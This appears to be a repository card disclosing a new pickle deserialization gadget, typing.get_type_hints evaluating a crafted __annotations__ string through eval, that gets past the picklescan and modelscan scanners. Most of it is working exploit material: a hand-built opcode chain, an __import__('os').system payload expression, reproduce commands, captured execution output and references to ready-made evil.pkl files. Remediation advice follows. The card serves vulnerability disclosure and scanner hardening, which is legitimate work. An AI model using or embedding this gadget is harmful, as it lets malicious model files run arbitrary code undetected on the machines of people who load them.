YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
NEW pickle RCE gadget: typing.get_type_hints() evaluates a crafted __annotations__ forward-ref via eval() β clean on both picklescan and modelscan
Category: Pickle deserialization RCE / model-scanner bypass (new gadget)
Affected scanners (bypassed): picklescan 1.0.5, modelscan 0.8.8
Trigger runtime: CPython 3.13.12 (typing stdlib); reproduced via pickle.load and joblib.load (joblib 1.5.3)
Payload: 306-byte pickle protocol 4 (evil.pkl == evil.joblib, identical bytes)
Summary
typing.get_type_hints(obj) reads obj.__annotations__ and, for any str annotation value, wraps it
in a typing.ForwardRef and evaluates it with eval(). When obj is a plain instance (not a type/module),
the global and local namespaces default to {}, so Python's eval auto-injects __builtins__ β making
__import__ available and allowing an arbitrary expression to execute.
A pickle can hand typing.get_type_hints an attacker-built types.SimpleNamespace whose __annotations__
is {'x': "<malicious expr>"}. Neither typing/get_type_hints nor types/SimpleNamespace is on either
scanner's dangerous/unsafe-globals list, and the RCE string travels only as an inert SHORT_BINUNICODE
operand that no scanner inspects. Both scanners therefore report 0 issues while the payload runs on
unpickle.
The expression is crafted as __import__('os').system(CMD) or int so get_type_hints() returns a valid
type ({'x': int}) β _type_check() does not raise, and pickle.load / joblib.load complete with no
traceback (stealthy).
Root cause
Call chain (CPython 3.13, Lib/typing.py):
typing.get_type_hints(obj)
-> reads obj.__annotations__ # attacker-controlled dict {str: str}
-> for a str value: ForwardRef(value)
-> typing._eval_type(ForwardRef, globalns, localns)
-> ForwardRef._evaluate(globalns, localns, ...)
-> eval(compile(self.__forward_arg__, '<string>', 'eval'), globalns, localns)
For a non-type, non-module object, get_type_hints leaves globalns/localns empty. CPython's eval
then auto-populates __builtins__, so __import__('os').system(...) resolves and executes. This is a
genuine code-execution primitive reachable purely from attacker-supplied instance state β exactly what a
pickle BUILD opcode provides.
Why both scanners miss it
- picklescan 1.0.5 β
typing.get_type_hintsandtypes.SimpleNamespaceare absent frompicklescan._unsafe_globals. They surface only as suspicious globals (count 2), not dangerous;Infected files: 0. - modelscan 0.8.8 β neither symbol appears in
DEFAULT_SETTINGS['unsafe_globals'].No issues found. - The dangerous string (
__import__('os').system(...)) is never a global/reduce target β it is a plainSHORT_BINUNICODEoperand fed into a dict viaSETITEM. Neither scanner performs data-flow or string inspection, so the payload is invisible to both.
PoC
Files in this repo:
| File | Purpose |
|---|---|
gen_poc.py |
Generator β builds the pickle opcode chain by hand |
evil.pkl |
306-byte proto-4 payload (sha256 f9b5ed54787de8bd54de407357d11b56633171a792fea0f82d581a2c83fa5101) |
evil.joblib |
Identical bytes to evil.pkl (joblib loads the same stream) |
control_os.pkl |
Negative control β classic os.system reduce (both scanners MUST flag) |
Opcode chain (pickletools.dis(evil.pkl))
0: \x80 PROTO 4
2: \x8c SHORT_BINUNICODE 'typing'
10: \x8c SHORT_BINUNICODE 'get_type_hints'
26: \x93 STACK_GLOBAL # push typing.get_type_hints
27: \x8c SHORT_BINUNICODE 'types'
34: \x8c SHORT_BINUNICODE 'SimpleNamespace'
51: \x93 STACK_GLOBAL # push types.SimpleNamespace
52: ) EMPTY_TUPLE
53: R REDUCE # ns = SimpleNamespace()
54: } EMPTY_DICT
55: \x8c SHORT_BINUNICODE '__annotations__'
72: } EMPTY_DICT
73: \x8c SHORT_BINUNICODE 'x'
76: \x8c SHORT_BINUNICODE "__import__('os').system('id > .../PWNED_typing 2>&1; echo typing_get_type_hints_gadget_executed >> .../PWNED_typing') or int"
300: s SETITEM # inner {'x': EXPR}
301: s SETITEM # {'__annotations__': {'x': EXPR}}
302: b BUILD # ns.__dict__.update(state) -> sets ns.__annotations__
303: \x85 TUPLE1 # (ns,)
304: R REDUCE # typing.get_type_hints(ns) -> eval -> RCE
305: . STOP
EXPR = "__import__('os').system('id > PWNED_typing 2>&1; echo typing_get_type_hints_gadget_executed >> PWNED_typing') or int"
Reproduce
# (Python 3.13.12 venv "scan313")
scan313/bin/python gen_poc.py
scan313/bin/python -c "import pickle; r=pickle.load(open('evil.pkl','rb')); print('load OK, type:', r)"
cat PWNED_typing
scan313/bin/python -c "import joblib; joblib.load('evil.joblib')" # identical marker
# scan with scanners (venv "scan312")
scan312/bin/python -m picklescan -p evil.pkl
scan312/bin/modelscan -p evil.pkl
Captured evidence (verbatim)
Execution β Python 3.13.12
$ python -c "import pickle; r=pickle.load(open('evil.pkl','rb')); print('load returned OK, type:', r)"
load returned OK, type: {'x': <class 'int'>}
$ cat PWNED_typing
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin)
typing_get_type_hints_gadget_executed
joblib 1.5.3 β identical result
$ python -c "import joblib; print('joblib', joblib.__version__); r=joblib.load('evil.joblib'); print('joblib load OK, type:', r)"
joblib 1.5.3
joblib load OK, type: {'x': <class 'int'>}
# PWNED_typing marker written identically
Note: pickle.load / joblib.load return normally with no traceback β the crafted expression evaluates
to a valid type (int), so typing._type_check() accepts it.
picklescan 1.0.5 on evil.pkl β CLEAN
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Suspicious globals: 2
Dangerous globals: 0
modelscan 0.8.8 on evil.pkl β CLEAN
--- Summary ---
No issues found! π
Negative control (control_os.pkl = os.system reduce) β BOTH scanners flag it
picklescan:
control_os.pkl: dangerous import 'posix system' FOUND
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 1
Suspicious globals: 0
Dangerous globals: 1
modelscan:
--- Summary ---
Total Issues: 1
Total Issues By Severity:
- CRITICAL: 1
--- CRITICAL ---
Unsafe operator found:
- Description: Use of unsafe operator 'system' from module 'posix'
The control proves the scanners and test harness work; the gadget's cleanliness is specific to the new
typing.get_type_hints primitive, not a broken setup.
Impact
Any pipeline that unpickles untrusted model files after clearing them through picklescan or modelscan is
vulnerable to arbitrary code execution. Because pickle.load returns a valid value with no exception, the
attack is stealthy β the loading application observes a normal {'x': int} annotation dict and continues.
joblib.load (the default loader for scikit-learn .joblib / .pkl artifacts) is equally affected.
Suggested remediation
Add typing.get_type_hints and types.SimpleNamespace (and the broader class of stdlib callables that
route attacker data into eval/compile) to the scanners' dangerous-globals lists. More robustly, treat
any global outside an allowlist as unsafe rather than blocklisting known-bad names, since inert string
operands carrying the payload can never be caught by name-based blocklists.
Dedup note
- Distinct from all 19 prior known pickle gadgets and from every
EnigmaConsultantHFpickle-*PoC repo (verified against the account's repo listing; notyping/get_type_hintsgadget exists). - Not a known CVE: the primitive is
typing.get_type_hintsβForwardRef._evaluateβeval, invoked via aSimpleNamespaceinstance built entirely from pickleBUILDstate. No prior scanner-bypass advisory covers this call path.